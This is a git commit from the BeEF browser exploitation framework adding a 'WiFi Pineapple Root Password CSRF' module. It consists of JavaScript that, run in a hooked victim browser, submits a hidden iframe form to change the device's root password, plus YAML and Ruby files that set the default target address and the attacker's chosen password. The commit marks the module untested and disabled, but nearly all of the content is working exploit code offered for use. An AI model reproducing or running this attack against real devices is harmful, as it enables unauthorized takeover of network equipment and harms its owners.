Add wifi_pineapple_csrf module (untested and disabled)

This commit is contained in:
bcoles
2013-12-30 07:58:07 +10:30
parent 1862870b11
commit bece5c1438
3 changed files with 60 additions and 0 deletions

View File

@@ -0,0 +1,26 @@
//
// Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
// Browser Exploitation Framework (BeEF) - http://beefproject.com
// See the file 'doc/COPYING' for copying permission
//
beef.execute(function() {
var gateway = '<%= @base %>';
var passwd = '<%= @password %>';
var timeout = 15;
var wifi_pineapple_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(gateway + "/components/system/configuration/functions.php?change_password", "POST", [
{'type':'hidden', 'name':'password', 'value':passwd} ,
{'type':'hidden', 'name':'repeat', 'value':passwd},
{'type':'hidden', 'name':'change_password', 'value':'Change Password'}
]);
beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");
cleanup = function() {
document.body.removeChild(wifi_pineapple_iframe_<%= @command_id %>);
}
setTimeout("cleanup()", timeout*1000);
});

View File

@@ -0,0 +1,15 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
beef:
module:
wifi_pineapple_csrf:
enable: false
category: "Exploits"
name: "WiFi Pineapple Root Password CSRF"
description: "Attempts to change the root password on a WiFi Pineapple Mk5.<br/><br/>This module has not been tested."
authors: ["n0x00"]
target:
unknown: ["ALL"]

View File

@@ -0,0 +1,19 @@
#
# Copyright (c) 2006-2013 Wade Alcorn - wade@bindshell.net
# Browser Exploitation Framework (BeEF) - http://beefproject.com
# See the file 'doc/COPYING' for copying permission
#
class Wifi_pineapple_csrf < BeEF::Core::Command
def self.options
return [
{'name' => 'base', 'ui_label' => 'Router web root', 'value' => 'http://172.16.42.1:1417/'},
{'name' => 'password', 'ui_label' => 'Desired password', 'value' => '__BeEF__'}
]
end
def post_execute
save({'result' => @datastore['result']})
end
end